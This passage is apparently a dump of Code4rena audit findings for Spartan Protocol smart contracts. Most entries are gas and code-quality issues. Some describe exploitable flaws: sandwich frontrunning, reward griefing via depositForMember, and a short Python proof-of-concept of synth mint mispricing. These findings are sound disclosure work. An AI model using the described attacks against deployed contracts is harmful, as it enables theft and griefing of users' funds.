slots and gas. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L128 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L21-L24 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L19 ## Tools Used Manual Analysis ## Recommended Mitigation Steps The state variables can be declared uint32 to fit all five of them in a single slot and this will lead to efficient SSTOREs because they are set together. If values > uint32 are relevant, then the parameter types of setter setGenesisFactors() have to be changed. "}, {"title": "Missing event emit for MemberWithdraws", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/94", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The DAO member withdrawal is missing an emit for MemberWithdraws event. This results in lack of transparency and off-chain monitoring capability. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L78 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L170-L174 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add an emit for the event or otherwise rationalize/document why it isn\u2019t necessary and remove the event declaration. "}, {"title": "Missing zero-address checks in constructors and setters", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/93", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Missing zero-address checks in constructors and setters"}, {"title": "Critical protocol parameter changes should have sanity/threshold checks", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/91", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Critical protocol parameter changes should have sanity/threshold checks"}, {"title": "Critical protocol parameter changes should emit events", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/90", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Critical protocol parameter changes should emit events"}, {"title": "ROUTER._handleTransferIn()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle natus # Vulnerability details ## Impact Here we return a value that isnt used anywhere which can safely be removed. This will save the return and also memory store gas costs If the asset is not BNB/WBNB; we also get the startBal which is another memory store that isnt required, but more importantly we do a more expensive call to check the balance of the token in the pool contract which isnt required. This goes a step further at the 'actual' step at the end where we call the balance again and then do a MINUS math operation calling the memory value Removing those lines will make all transactions cheaper that involve moving assets through the ROUTER, which appears to be quite a lot and sometimes even multiple times per function ## Proof of Concept ROUTER lines #197 to #211 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L197 ## Recommended Mitigation Steps Remove these lines: #204 #206 #208 Also remove the return: returns(uint256 actual) "}, {"title": "ROUTER.addTradeFee()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle natus # Vulnerability details ## Impact This is called with every dividend-generating txn (which is 100 or so txns per day/era by default and can be cranked up with an increase in txn volume, so higher importance than some of the other gas opts) This is a little harder to optimize as it uses the changed state within the same function; however there is still room for optimization despite that; see below. arrayFeeSize is called from storage twice every time; and if the array is fully built it's also called another 20 times (by default; can be increased by dao) per call to this function. As this variable doesn't change within this function; it can simply be called once at the started and stored in memory, should be a decent gas opt in a very commonly occuring txn feeArray is also called from storage only once whilst the array is still building and not complete (this is okay) but once it's built it's called 20 times (again; by default; this might be raised) If we instead call this from storage once *just before* it's required in the loop (has to be after addFee() as this changes that feeArray's state) we can save even more gas also; arrayFeeLength does not need to be stored in memory; just use feeArray.length from torage instead (only used once, so will only save the memory storage gas which is small) ## Proof of Concept ROUTER lines #285 to #297 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L285 ## Recommended Mitigation Steps Step1: add at the start of the function: uint _arrayFeeSize = arrayFeeSize (Get storage arrayFeeSize & store in memory) Step2: Replace all 3 instances of arrayFeeSize with _arrayFeeSize Step3: add below addFee(_fee): uint [] memory _feeArray = feeArray (Get storage feeArray & store in memory) Step4: replace feeArray[i] (inside the loop) to _feeArray[i] Step5: remove line: uint arrayFeeLength = feeArray.length and replace arrayFeeLength with feeArray.length; no need to store in memory if its only used once "}, {"title": "Frontrunning is infinitely profitable, slippage is implied 100%", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/85", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle tensors # Vulnerability details ## Impact There are no minimum amounts out, or checks that frontrunning/slippage is sufficiently mitigated. This means that anyone with enough capital can force arbitrarily large slippage by sandwiching transactions, close to 100%. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L284 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L296 ## Recommended Mitigation Steps Add a minimum amount out parameter. The function reverts if the minimum amount isn't obtained. "}, {"title": "SYNTHVAULT.addFee() Gas Optimization", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/83", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle natus # Vulnerability details ## Impact This function calls revenueArray from storage when setting 'n' and then twice every loop (revenueArray[i] && revenueArray[i - 1]) and then again after the loop once. If this was instead called once at the start and stored in memory; iterated and then assigned into the storage at the end; could save some gas ## Proof of Concept SYNTHVAULT lines #249 to #255 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/synthVault.sol#L249 ## Recommended Mitigation Steps Step1: Above line #249; add in: uint [] memory _revArray = revenueArray (Get the storage revenueArray and store it in memory) Step2: change revenueArray.length to _revArray.length (maybe even remove this memory variable and just call the length directly in the loop conditions in place of 'n'?) Step3: change: revenueArray[i] = revenueArray[i - 1] to: _revArray[i] = _revArray[i - 1] Step4: change: revenueArray[0] = _fee To: _revArray[0] = _fee Step5: add: revenueArray = _revArray as the final line inside the function "}, {"title": "SYNTHVAULT.harvestAll() Gas Optimization", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle natus # Vulnerability details ## Impact Here we call the storage stakedSynthAssets 3 times in the loop or 4 times per loop if the reward is > 0. It could instead be called once before the loop and stored in memory. Will save more gas as time goes on and the stakedSynthAssets array potentially gets larger as more assets get listed ## Proof of Concept SYNTHVAULT lines #121 to #132 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/synthVault.sol#L121 ## Recommended Mitigation Steps Step1: Above line #122; add in: address [] memory _stakedSynthAssets = stakedSynthAssets (Get the storage stakedSynthAssets and store it in memory) Then: replace all 4 instances of: stakedSynthAssets with _stakedSynthAssets "}, {"title": "POOL.addFee() Gas Optimization", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle natus # Vulnerability details ## Impact This function calls revenueArray from storage when setting 'n' and then twice every loop (revenueArray[i] && revenueArray[i - 1]) and then again after the loop once. If this was instead called once at the start and stored in memory; iterated and then assigned into the storage at the end; could save some gas ## Proof of Concept POOL lines #357 to #363 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L357 ## Recommended Mitigation Steps Step1: Above line #358; add in: uint [] memory _revArray = revenueArray (Get the storage revenueArray and store it in memory) Step2: change revenueArray.length to _revArray.length Step3: change: revenueArray[i] = revenueArray[i - 1] to: _revArray[i] = _revArray[i - 1] Step4: change: revenueArray[0] = _fee To: _revArray[0] = _fee Step5: add: revenueArray = _revArray as the final line inside the function "}, {"title": "ROUTER.addFee() Gas Optimization", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/80", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle natus # Vulnerability details ## Impact This function calls feeArray from storage when setting 'n' and then twice every loop (feeArray[i] && feeArray[i - 1]) and then again after the loop once. If this was instead called once at the start and stored in memory; iterated and then assigned into the storage at the end; could save some gas ## Proof of Concept UTILS lines #300 to #306 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L301 ## Recommended Mitigation Steps Step1: Above line #301; add in: uint [] memory _feeArray = feeArray (Get the storage feeArray and store it in memory) Step2: change feeArray.length to _feeArray.length Step3: change: feeArray[i] = feeArray[i - 1] to: _feeArray[i] = _feeArray[i - 1] Step4: change: feeArray[0] = _fee To: _feeArray[0] = _fee Step5: add: feeArray = _feeArray as the final line inside the function "}, {"title": "Pool decimals are always assumed to be 18", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/79", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "Pool decimals are always assumed to be 18"}, {"title": "Inconsistency in Function Naming", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/75", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Inconsistency in Function Naming"}, {"title": "Use unchecked blocks in some cases to save gas.", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Use unchecked blocks when safemath is not required In some cases, it's unnecessary to use the default checked arithmetic. In such cases, wrapping the block in unchecked would save gas. One example is: ``` diff @@ -271,11 +272,13 @@ contract Pool is iBEP20 { // Check the TOKEN amount received by this Pool function _getAddedTokenAmount() internal view returns(uint256 _actual){ - uint _tokenBalance = iBEP20(TOKEN).balanceOf(address(this)); - if(_tokenBalance > tokenAmount){ - _actual = _tokenBalance-(tokenAmount); - } else { - _actual = 0; + uint _tokenBalance = iBEP20(TOKEN).balanceOf(address(this)); + unchecked { + if(_tokenBalance > tokenAmount){ + _actual = _tokenBalance-(tokenAmount); + } else { + _actual = 0; + } ``` For loops, such optimizations would save a lot of gas. ``` diff @@ -356,9 +359,11 @@ contract Pool is iBEP20 { function addFee(uint _rev) internal { uint _n = revenueArray.length; // 2 + require(_n > 0); + unchecked { for (uint i = _n - 1; i > 0; i--) { revenueArray[i] = revenueArray[i - 1]; } + } revenueArray[0] = _rev; } } ``` "}, {"title": "Variables that can be converted into immutable", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Variables that can be converted into immutable ``` txt Warning: Variable declaration can be converted into an immutable. --> contracts/BondVault.sol:12:5: | 12 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Dao.sol:16:5: | 16 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Dao.sol:18:5: | 18 | uint256 public secondsPerEra; // Amount of seconds per era (Inherited from BASE contract; intended to be ~1 day) | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/DaoVault.sol:12:5: | 12 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/DaoVault.sol:13:5: | 13 | address public DEPLOYER; | ^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Pool.sol:14:5: | 14 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Pool.sol:15:5: | 15 | address public TOKEN; | ^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Pool.sol:16:5: | 16 | address public DEPLOYER; | ^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Pool.sol:19:5: | 19 | uint8 public override decimals; uint256 public override totalSupply; | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Pool.sol:27:5: | 27 | uint public genesis; // Timestamp from when the pool was first deployed (For UI) | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Router.sol:9:5: | 9 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Router.sol:10:5: | 10 | address public WBNB; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Router.sol:11:5: | 11 | address public DEPLOYER; | ^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Synth.sol:7:5: | 7 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Synth.sol:8:5: | 8 | address public LayerONE; // Underlying relevant layer1 token | ^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Synth.sol:9:5: | 9 | uint public genesis; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Synth.sol:10:5: | 10 | address public DEPLOYER; | ^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Synth.sol:13:5: | 13 | uint8 public override decimals; uint256 public override totalSupply; | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Utils.sol:10:5: | 10 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/Utils.sol:11:5: | 11 | uint public one = 10**18; | ^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/outside-scope/FallenSpartans.sol:10:5: | 10 | address public SPARTA; | ^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/outside-scope/FallenSpartans.sol:11:5: | 11 | address public DEPLOYER; | ^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/outside-scope/FallenSpartans.sol:12:5: | 12 | uint256 public genesis; | ^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/outside-scope/Reserve.sol:8:5: | 8 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/outside-scope/Sparta.sol:30:5: | 30 | uint256 private _100m; | ^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/outside-scope/Sparta.sol:31:5: | 31 | uint256 public maxSupply; | ^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/outside-scope/Sparta.sol:38:5: | 38 | address public BASEv1; | ^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/poolFactory.sol:7:5: | 7 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/poolFactory.sol:8:5: | 8 | address public WBNB; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/poolFactory.sol:10:5: | 10 | uint public curatedPoolSize; // Max amount of pools that can be curated status | ^^^^^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/synthFactory.sol:6:5: | 6 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/synthFactory.sol:7:5: | 7 | address public WBNB; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/synthVault.sol:14:5: | 14 | address public BASE; | ^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/synthVault.sol:15:5: | 15 | address public DEPLOYER; | ^^^^^^^^^^^^^^^^^^^^^^^ Warning: Variable declaration can be converted into an immutable. --> contracts/synthVault.sol:23:5: | 23 | uint public genesis; // Timestamp from when the synth was first deployed (For UI) | ^^^^^^^^^^^^^^^^^^^ ``` Instead of using an expensive `sload` operation, converting to immutable would make reading to cost just 3 gas. ## Tools Used A custom compiler. "}, {"title": "wrong `calcLiquidityHoldings` that leads to dead fund in the Pool", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/71", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "wrong `calcLiquidityHoldings` that leads to dead fund in the Pool"}, {"title": "Inconsistent value of burnSynth between Pool and Synth", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/70", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact When users try to born synth, the fee and the value of Sparta is calculated at contract `Pool` while the logic of burning `Pool`s Lp and Synth is located at `Synth` contract. Users can send synth to the `Synth` contract directly and trigger `burnSynth` at the `Pool` contract. The Pool would not send any token out while the `Synth` contract would burn the lp and Synth. While users can not drain the liquidity by doing this, breaking the AMM rate unexpectedly is may lead to troubles. The calculation of debt and the fee would end up with a wrong answer. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L245 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L174 ## Tools Used None ## Recommended Mitigation Steps Pool's `burnSynth` and Synth's `burnSynth` are tightly coupled functions. In fact, according to the current logic, `Synth:burnSynth` should only be triggered from a valid `Pool` contract. IMHO, applying the`Money in - Money Out` model in the `Synth` contract does more harm than good to the readability and security of the protocol. Consider to let `Pool` contract pass the parameters to the `Synth` contract and add a require check in the `Synth` contract. "}, {"title": "Dao.sol: Unused hasMinority()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/69", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact `hasMinority()` is defined as a public function, but is unused in the contract. It can either be entirely removed or have its visibility changed to `external`. "}, {"title": "removeForMember can be called by anyone, allowing for griefing", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/68", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "removeForMember can be called by anyone, allowing for griefing"}, {"title": "_deposit resetting user rewards can be used to grief them and make them loose rewards via `depositForMember `", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/66", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle GalloDaSballo # Vulnerability details ## Impact The function `_deposit` sets `mapMemberSynth_lastTime` to a date in the future https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/synthVault.sol#L107 `mapMemberSynth_lastTime` is also used to calculate rewards earned `depositForMember` allows anyone, to \"make a donation\" for the member and cause that member to loose all their accrued rewards This can't be used for personal gain, but can be used to bring misery to others. ## Proof of Concept `depositForMember` https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/synthVault.sol#L95 and can be called by anyone This will set the member ``` mapMemberSynth_lastTime[_member][_synth] = block.timestamp + minimumDepositTime; // Record deposit time (scope: member -> synth) ``` this can be continuously exploited to make members never earn any reward ## Recommended Mitigation Steps This is the second submission under the same exploit This can be mitigated by harvesting for the user right before changing `mapMemberSynth_lastTime[_member][_synth]` https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/synthVault.sol#L107 "}, {"title": "Calling synthVault:_deposit multiple times, will make you loose rewards", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/65", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Calling synthVault:_deposit multiple times, will make you loose rewards"}, {"title": "Remove _token from addLiquiditySingleForMember", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle natus # Vulnerability details ## Impact Gas optimization / non-critical issue. Wasted lines of code creating and setting a local variable that does not appear to be required. I can't think of a reason to leave it in. ## Proof of Concept _token local variable is not used anywhere in the codebase. Can be removed to save gas and compile size. Looks like it's to handle WBNB (if it was required) but forgot to check/remove after it was catered for elsewhere. - https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Router.sol#L83 ## Tools Used N/A ## Recommended Mitigation Steps ROUTER.addLiquiditySingleForMember() - Remove line #82 - Remove line #83 "}, {"title": "Utils.sol: Redundant two assignment in calcLiquidityUnitsAsym()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The `calcLiquidityUnitsAsym()` function's last 2 lines are: ```jsx uint two = 2; return (totalSupply * amount) / (two * (amount + baseAmount)); ``` The `two` assignment seems unnecessary. ### Recommended Mitigation Steps `return (totalSupply * amount) / (two * (amount + baseAmount));` "}, {"title": "Utils.sol: Calculation issue with Slippage Adjustment", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Utils.sol: Calculation issue with Slippage Adjustment"}, {"title": "Dao.sol: newParamProposal takes in uint32 param", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/61", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact `newParamProposal()` takes in a `uint32 param` as an input argument. The valid scenarios for this proposal are for changing the cooloff period and erasToEarn via the `changeCooloff()` and `changeEras()`. These functions however cast the `param` to `uint256` before assigning it to the relevant variable. We therefore have either of the following cases: 1. `uint32 param` should be increased to `uint256 param` 2. `coolOffPeriod` and `erasToEarn` can be decreased in size to `uint32` instead of `uint256`. For further optimizations, these 2 variables should be grouped together so that they take up 1 storage slot instead of 2 separate ones. "}, {"title": "Dao.sol: Define BASE as iBEP20 instead of address", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact `BASE` is defined as an `address` type, but is casted as `iBEP20` in almost every instance within the Dao contract, and in numerous instances in many other contracts as well. It would therefore be better to define it as `iBEP20` instead, to avoid casting. ### Recommended Mitigation Steps Change `address public BASE;` to `iBEP public BASE`. Castings of `BASE` to `iBEP20` can be removed subsequently. "}, {"title": "Misuse of AMM model on minting Synth (resubmit to add more detail)", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/59", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact `Pool` calculates the amount to be minted based on `token_amount` and `sparta_amount` of the Pool. However, since `token_amount` in the pool would not decrease when users mint Synth, it's always cheaper to mint synth than swap the tokens. The synthetics would be really hard to be on peg. Or, there would be a flash-loan attacker to win all the arbitrage space. ## Proof of Concept Pool's mint synth https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L229-L242 The synth amount is calculated at L:232 ``` uint output = iUTILS(_DAO().UTILS()).calcSwapOutput(_actualInputBase, baseAmount, tokenAmount); ``` which is the same as swapping base to token at L:287 ``` uint256 _X = baseAmount; uint256 _Y = tokenAmount; _y = iUTILS(_DAO().UTILS()).calcSwapOutput(_x, _X, _Y); // Calc TOKEN output ``` However, while swapping tokens decrease pool's token, mint just mint it out of the air. Here's a POC: Swap sparta to token for ten times ```python for i in range(10): amount = 10 * 10**18 transfer_amount = int(amount/10) base.functions.transfer(token_pool.address, transfer_amount).transact() token_pool.functions.swapTo(token.address, user).transact() ``` Mint Synth for ten times ```python for i in range(10): amount = 10 * 10**18 transfer_amount = int(amount/10) base.functions.transfer(token_pool.address, transfer_amount).transact() token_pool.functions.mintSynth(token_synth.address, user).transact() ``` The Pool was initialized with 10000:10000 in both cases. While the first case(swap token) gets `4744.4059` and the second case gets `6223.758`. ## Tools Used None ## Recommended Mitigation Steps The debt should be considered in the AMM pool. I recommend to maintain a debt variable in the Pool and use `tokenAmount - debt` when the Pool calculates the token price. Here's some idea of it. ``` uint256 public debt; function _tokenAmount() returns (uint256) { return tokenAmount - debt; } // Swap SPARTA for Synths function mintSynth(address synthOut, address member) external returns(uint outputAmount, uint fee) { require(iSYNTHFACTORY(_DAO().SYNTHFACTORY()).isSynth(synthOut) == true, \"!synth\"); // Must be a valid Synth uint256 _actualInputBase = _getAddedBaseAmount(); // Get received SPARTA amount // Use tokenAmount - debt to calculate the value uint output = iUTILS(_DAO().UTILS()).calcSwapOutput(_actualInputBase, baseAmount, _tokenAmount()); // Calculate value of swapping SPARTA to the relevant underlying TOKEN // increment the debt debt += output uint _liquidityUnits = iUTILS(_DAO().UTILS()).calcLiquidityUnitsAsym(_actualInputBase, address(this)); // Calculate LP tokens to be minted _incrementPoolBalances(_actualInputBase, 0); // Update recorded SPARTA amount uint _fee = iUTILS(_DAO().UTILS()).calcSwapFee(_actualInputBase, baseAmount, tokenAmount); // Calc slip fee in TOKEN fee = iUTILS(_DAO().UTILS()).calcSpotValueInBase(TOKEN, _fee); // Convert TOKEN fee to SPARTA _mint(synthOut, _liquidityUnits); // Mint the LP tokens directly to the Synth contract to hold iSYNTH(synthOut).mintSynth(member, output); // Mint the Synth tokens directly to the user _addPoolMetrics(fee); // Add slip fee to the revenue metrics emit MintSynth(member, BASE, _actualInputBase, TOKEN, outputAmount); return (output, fee); } ``` "}, {"title": "Router.sol: Redundant _token initialization in addLiquiditySingleForMember()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The lines below of the `addLiquiditySingleForMember()` function ```jsx address _token = token; if(token == address(0)){_token = WBNB;} // Handle BNB -> WBNB ``` are redundant since `_token` is not used subsequently. Note that `_handleTransferIn()` will perform the handling of native BNB transfers. ### Recommended Mitigation Steps The mentioned lines above can be removed. "}, {"title": "Pool.sol + Router.sol: Set revenue directly as _fee", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact ```jsx // Pool.sol: L344-345 map30DPoolRevenue = 0; map30DPoolRevenue = map30DPoolRevenue+(_fee); // Router.sol: L317-318 mapAddress_30DayDividends[_pool] = 0; mapAddress_30DayDividends[_pool] = mapAddress_30DayDividends[_pool] + _fees; ``` can simply be written as ```jsx map30DPoolRevenue = _fee; mapAddress_30DayDividends[_pool] = _fees; ``` respectively. "}, {"title": "Pool.sol + Synth.sol: Inconsistent Allowance Checking Implementation", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/55", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The contract performs allowance checks for transfers in 2 ways: 1. Check allowance is greater than requested amount, revert otherwise. Then do allowance decrement. (Eg. in `transferFrom`) 2. Directly do the allowance decrement, will revert for underflow since sol 0.8.3 is used. (Eg. in `burnFrom` It is best to stick to 1 method for consistency. For gas optimizations, the 2nd method is better, but the first provides more meaningful revert messages to aid debugging. ### Recommended Mitigation Steps Commit to either method, not both. "}, {"title": "isEqual(): Inconsistent Implementation", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/54", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ```jsx function isEqual(bytes memory part1, bytes memory part2) external pure returns(bool equal){ if(sha256(part1) == sha256(part2)){ return true; } } ``` Both implementations can be simplified and made consistent to be ```jsx function isEqual(bytes memory part1, bytes memory part2) external pure returns(bool){ return(sha256(part1) == sha256(part2)); } ``` "}, {"title": "DaoVault.sol & BondVault.sol: Discrepancies in mapping visibility", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/53", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact In DaoVault and BondVault, the following mappings are declared private: - `mapMember_weight` - `mapMemberPool_weight` The DaoVault has an 